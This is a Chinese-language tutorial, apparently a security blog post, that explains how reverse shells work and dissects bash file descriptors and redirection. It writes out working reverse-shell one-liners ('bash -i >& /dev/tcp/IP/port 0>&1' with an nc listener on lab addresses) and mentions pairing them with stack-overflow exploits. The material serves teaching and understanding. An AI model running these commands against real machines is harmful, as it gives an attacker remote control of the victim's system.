0x01 简介
反弹shell在漏洞证明和利用的过程中都是一个直接有力的手段。它的实质是控制端在监听某TCP/UDP端口,被控方主动发起请求到该端口,并将其命令行的输入输出转到控制端。本质上是网络概念的客户端与服务端的角色反转。
0x02 为何要反弹shell
通常用于被控方因防火墙受限、权限不足、端口被占用等情形
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?
- 某客户机中了你的网马,但是它在局域网内,你直接连接不了。
- 它的ip会动态改变,你不能持续控制。
- 由于防火墙等限制,对方机器只能发送请求,不能接收请求。
- 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
0x03 经典语句:
攻击方(kali/192.168.41.133):nc -lvvp 2223
肉鸡(Ubuntu/192.168.41.128:bash -i >& /dev/tcp/192.168.41.133/2223 0>&1
语句解读:
- nc -lvvp 2223:监听2223端口
- bash -i:生成交互的shell
- >&:重定向
- /dev/tcp/192.168.41.133/2223:/dev/tcp/ip/port,相当于和192.168.41.133:2223建立一个TCP连接;在Linux一切都是文件的思想中,这里理解为双方通过这个文件为内存媒介进行通信。
- 0>&1:标准输入指向标准输出,这里的 >& 并非重定向符的 >&,仅仅是 >, &符号的为了指代这个标准输出。如果没有&符号,0>1,这样,语句的意思即为将标准输入指向文件名为1的文件。(语句中0、1为文件描述符,代表标准输入和标准输出)
当使用 0>&1后,进入一个待输入的状态,随便输入一字符串,回车,则会回显在下一行。
整句话的意思:和192.168.41.133:2223建立TCP连接并将标准输入、标准输出、错误输出都重定向到192.168.41.133:2223。
这时攻击方只需监听2223端口,便可实现反弹shell,控制肉鸡。
关于文件描述符:
stdin 0 -> /dev/tty0
stdout 1 -> /dev/tty0
stderr 2 -> /dev/tty0
这几个分别指代 指向的默认的标准输入输出设备。在Linux中,一切皆为文件,而这些数字即文件描述符就相当于指向文件的句柄。
一条命令执行以前先会按照默认的情况进行绑定(也就是上面所说的 0,1,2),如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向。
关于重定向符:
- <, <<:重定向标准输入,如 0<file,意思是向文件file读取
有趣的是,命令<file cat会先检测到重定向符,将输入重定向到file中,然后执行cat
- >, >>:重定向标准输出,如 echo hello > file, hello并不会打印在屏幕界面,而是存在file文件中
- &> >&:重定向标准输出和错误输出,多了一个错误输出,在使用>时,如:mkdir > file,这是错误的命令,错误信息会直接打印在屏幕界面中,如果使用mkdir >& file,错误信息将存入文件file中。
ps:标准错误2不仅显示错误信息,还有回显输入命令和终端提示符的作用。(这点很神奇)
例如用 bash -i > /dev/tcp/192.168.41.133/2223 0>&1
,那么在攻击方输入的命令将仍然回显在肉鸡上,并且攻击机上的shell并没有终端提示符
所以再回头看那个反弹shell语句,是否易懂些!?
像bash -i >& /dev/tcp/192.168.41.133/2223 0>&1
、bash -i >& /dev/tcp/192.168.41.133/2223 0>&2
、bash -i &> /dev/tcp/192.168.41.133/2223 0>&1
这些命令实质上是等价的
总结知识点:
- 搞懂重定向符,文件描述符,>, >>,>& 的区别
- 反弹shell的本质,实质是攻击方开通端口,然后在肉鸡上执行TCP连接,然后通过bash -i 给予对方shell的交互,最后通过一些重定向,让输入和输出都是攻击机上回显。
- 关于执行这些一句话反弹,有很多种语言版本,如PHP,Python,Perl等,可以通过msf的框架生成一些更为强大的反弹shell代码。当我们掌握了反弹的本质,那么我们就可以自己摸索创造更有趣的反弹代码。
反弹shell的代码我们可以结合栈溢出等漏洞使用,在栈溢出的位置构造好payload,让程序跳到执行反弹shell的代码,这样我们就可以利用漏洞getshell。
所以,人们常说 Shell is only the beginning,getshell之后,我们需要利用我们得到的shell一步步提权。
关于提权…..下一节好精彩,快回来哟!